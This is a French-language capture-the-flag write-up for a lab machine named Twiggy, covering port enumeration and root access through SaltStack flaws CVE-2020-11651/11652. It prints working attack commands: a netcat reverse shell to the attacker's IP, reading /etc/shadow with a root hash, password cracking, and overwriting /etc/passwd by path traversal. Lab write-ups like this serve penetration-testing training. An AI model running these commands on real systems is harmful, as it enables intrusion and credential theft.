# Twiggy

`ZeroMQ` `Saltstack` `/etc/passwd`

* Nom machine : Twiggy
* Difficulté : Facile
* OS : Linux

## Enumération

### NMAP

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-06 08:44 EDT
Nmap scan report for 192.168.225.62
Host is up (0.034s latency).
Not shown: 65529 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 44:7d:1a:56:9b:68:ae:f5:3b:f6:38:17:73:16:5d:75 (RSA)
|   256 1c:78:9d:83:81:52:f4:b0:1d:8e:32:03:cb:a6:18:93 (ECDSA)
|_  256 08:c9:12:d9:7b:98:98:c8:b3:99:7a:19:82:2e:a3:ea (ED25519)
53/tcp   open  domain  NLnet Labs NSD
80/tcp   open  http    nginx 1.16.1
|_http-server-header: nginx/1.16.1
|_http-title: Home | Mezzanine
4505/tcp open  zmtp    ZeroMQ ZMTP 2.0
4506/tcp open  zmtp    ZeroMQ ZMTP 2.0
8000/tcp open  http    nginx 1.16.1
|_http-server-header: nginx/1.16.1
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn't have a title (application/json).

```

### DNS (53) : NLnet Labs NSD

```
└─$ dig axfr 192.168.225.62  

; <<>> DiG 9.19.19-1-Debian <<>> axfr 192.168.225.62
;; global options: +cmd
; Transfer failed.
```

Rien d'exploitable.

" Name Server Daemon (NSD) est un serveur DNS tournant sur systèmes de type Unix. Développé à l'origine avec le soutien du RIPE-NCC, il est actuellement maintenu par le NLnetLabs. Contrairement au serveur BIND, bien plus connu, NSD ne sert que de serveur faisant autorité : il peut servir des zones DNS, mais pas interroger d'autres serveurs. "&#x20;

{% embed url="<https://fr.wikipedia.org/wiki/Name_Server_Daemon>" %}

### HTTP (80) : nginx 1.16.1

<figure><img src="https://2731053407-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1RXsXNh9elYzxZgW8W8f%2Fuploads%2F9K8Uvn7b5UZAvGIinyW6%2F067f48334226acfe32f26d21fff990bb.png?alt=media&#x26;token=f2a99994-27ea-4694-94f7-623a803bd57f" alt=""><figcaption></figcaption></figure>

#### Gobuster

Aucun directoire/fichier trouvé

### HTTP (8000) : nginx 1.16.1

<figure><img src="https://2731053407-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1RXsXNh9elYzxZgW8W8f%2Fuploads%2FnUXat1V7lMEnVq0XfqAr%2F9df568feffcec54f9efe8c74a0c4a369.png?alt=media&#x26;token=81ec1d51-2c45-46f5-ba00-104586486966" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2731053407-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1RXsXNh9elYzxZgW8W8f%2Fuploads%2FiurgR23jfFR7xZxaYvtu%2Fe86028b5ae6dbb455063f09dddc3738f.png?alt=media&#x26;token=efb9e6ed-c3c7-4b9e-8201-69a6fd40f544" alt=""><figcaption></figcaption></figure>

Recherche google de la requête : `{"clients": ["local", "local_async", "local_batch", "local_subset", "runner", "runner_async", "ssh", "wheel", "wheel_async"], "return": "Welcome"}` Nous mène vers Salt-api

De plus :  X-upstream : salt-api/3000-1

Une recherche google nous renvoie vers deux CVE :

* 2020-11652
* 2020-11651

#### Gobuster

```
┌──(kali㉿kali)-[~/oscp/twiggy]
└─$ gobuster dir -u http://192.168.225.62:8000/ -w //usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,html,txt,pdf,js       
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.225.62:8000/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                //usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              pdf,js,php,html,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index                (Status: 200) [Size: 146]
/login                (Status: 200) [Size: 43]
/events               (Status: 401) [Size: 753]
/jobs                 (Status: 401) [Size: 753]
/stats                (Status: 401) [Size: 753]
/logout               (Status: 500) [Size: 823]
/keys                 (Status: 401) [Size: 753]
/run                  (Status: 200) [Size: 146]
```

Rien d'intéressant

### ZMTP (4505/4506) : ZeroMQ ZMTP 2.0

" Le protocole de transport de messages ZeroMQ (ZMTP) est un protocole de couche de transport permettant d'échanger des messages entre deux pairs via une couche de transport connectée telle que TCP. "&#x20;

<https://www.omgwiki.org/dido/doku.php?id=dido:public:ra:xapend:xapend.b\\_stds:defact:zmtp:start> (v3)

Une recherche google de la version suivi de "exploit" nous emmène au même exploit que précédemment.

## Accès initial

### Exploit

{% embed url="<https://www.exploit-db.com/exploits/48421>" %}

Nous allons tout d'abord tester l'exploit en exécutant un ping vers notre machine kali

```
┌──(kali㉿kali)-[~/oscp/twiggy]
└─$ python exploit2.py --master 192.168.225.62 --exec 'ping 192.168.45.216 -c2'
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
/home/kali/.local/lib/python3.11/site-packages/salt/transport/client.py:28: DeprecationWarning: This module is deprecated. Please use salt.channel.client instead.
  warn_until(
[+] Salt version: 3007.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.225.62:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... 
[*] root key obtained: gq/k5pft+cBTHT6tThJAAu3O5gCGufCpkylVgXDJ/wSpsXJUxpAHo1z8p9Uze7X/br2nLtoa7qQ=
[+] Attemping to execute ping 192.168.45.216 -c2 on 192.168.225.62
[+] Successfully scheduled job: 20240706130217481189
```

```
──(kali㉿kali)-[~]
└─$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
09:02:17.543722 IP 192.168.225.62 > 192.168.45.216: ICMP echo request, id 4444, seq 1, length 64
09:02:17.543772 IP 192.168.45.216 > 192.168.225.62: ICMP echo reply, id 4444, seq 1, length 64
09:02:18.545241 IP 192.168.225.62 > 192.168.45.216: ICMP echo request, id 4444, seq 2, length 64
09:02:18.545250 IP 192.168.45.216 > 192.168.225.62: ICMP echo reply, id 4444, seq 2, length 64
```

Cela fonctionne bien ! Nous allons maintenant exécuter un reverse shell.

```
┌──(kali㉿kali)-[~/oscp/twiggy]
└─$ python exploit2.py --master 192.168.225.62 --exec-all 'nc 192.168.49.216 1234 -e /bin/bash'

┌──(kali㉿kali)-[~/oscp/twiggy]
└─$ nc -lnvp 1234
listening on [any] 1234 ...
```

Aucun retour, même en changeant de port et de commande.

Nous allons essayer de récupérer /etc/shadow

```
┌──(kali㉿kali)-[~/oscp/twiggy]
└─$ python exploit2.py --master 192.168.225.62 -r /etc/shadow
{...}
[+] Attemping to read /etc/shadow from 192.168.225.62
root:$6$WT0RuvyM$WIZ6pBFcP7G4pz/jRYY/LBsdyFGIiP3SLl0p32mysET9sBMeNkDXXq52becLp69Q/Uaiu8H0GxQ31XjA8zImo/:18400:0:99999:7:::
bin:*:17834:0:99999:7:::
daemon:*:17834:0:99999:7:::
```

Nous allons essayer de cracker le mot de passe de root avec john.

```
┌──(kali㉿kali)-[~/oscp/twiggy]
└─$ echo 'root:$6$WT0RuvyM$WIZ6pBFcP7G4pz/jRYY/LBsdyFGIiP3SLl0p32mysET9sBMeNkDXXq52becLp69Q/Uaiu8H0GxQ31XjA8zImo/:18400:0:99999:7:::' > hash.txt
                                                                       
┌──(kali㉿kali)-[~/oscp/twiggy]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
```

Aucun résultat après 10 minutes. Pas de retour pour /root/.ssh/id\_rsa.

Agissant en tant que root, nous pouvons écrire /etc/passwd. Pour upload le fichier, ne pas oublier d'ajouter des "../../", en lien avec l'exploit.

```
┌──(kali㉿kali)-[~/oscp/twiggy]
└─$ python exploit2.py --master 192.168.225.62 -r /etc/passwd
{..}
[+] Attemping to read /etc/passwd from 192.168.225.62
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
{..}
```

Copier le fichier sur la machine local.\
Remplacer le x suivant root par la sortie suivante :

```
┌──(kali㉿kali)-[~/oscp/twiggy]
└─$ openssl passwd athenax
$1$ldcqFv9m$s3HxWhDAas11BHjxpm5vJ.
```

Le mot de passe ici est athenax.

```
┌──(kali㉿kali)-[~/oscp/twiggy]
└─$ cat passwd     
root:$1$ldcqFv9m$s3HxWhDAas11BHjxpm5vJ.:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
```

Upload le fichier sur le server

```
┌──(kali㉿kali)-[~/oscp/twiggy]
└─$ python exploit2.py --master 192.168.225.62 --upload-src passwd --upload-dest ../../../../../../etc/passwd
```

### SSH

Se connecter en ssh : root:athenax

```
┌──(kali㉿kali)-[~/oscp/twiggy]
└─$ ssh root@192.168.225.62
{..}
[root@twiggy ~]# whoami
root
```

{% embed url="<https://www.tenable.com/blog/cve-2020-16846-cve-2020-25592-critical-vulnerabilities-in-salt-framework-disclosed>" %}
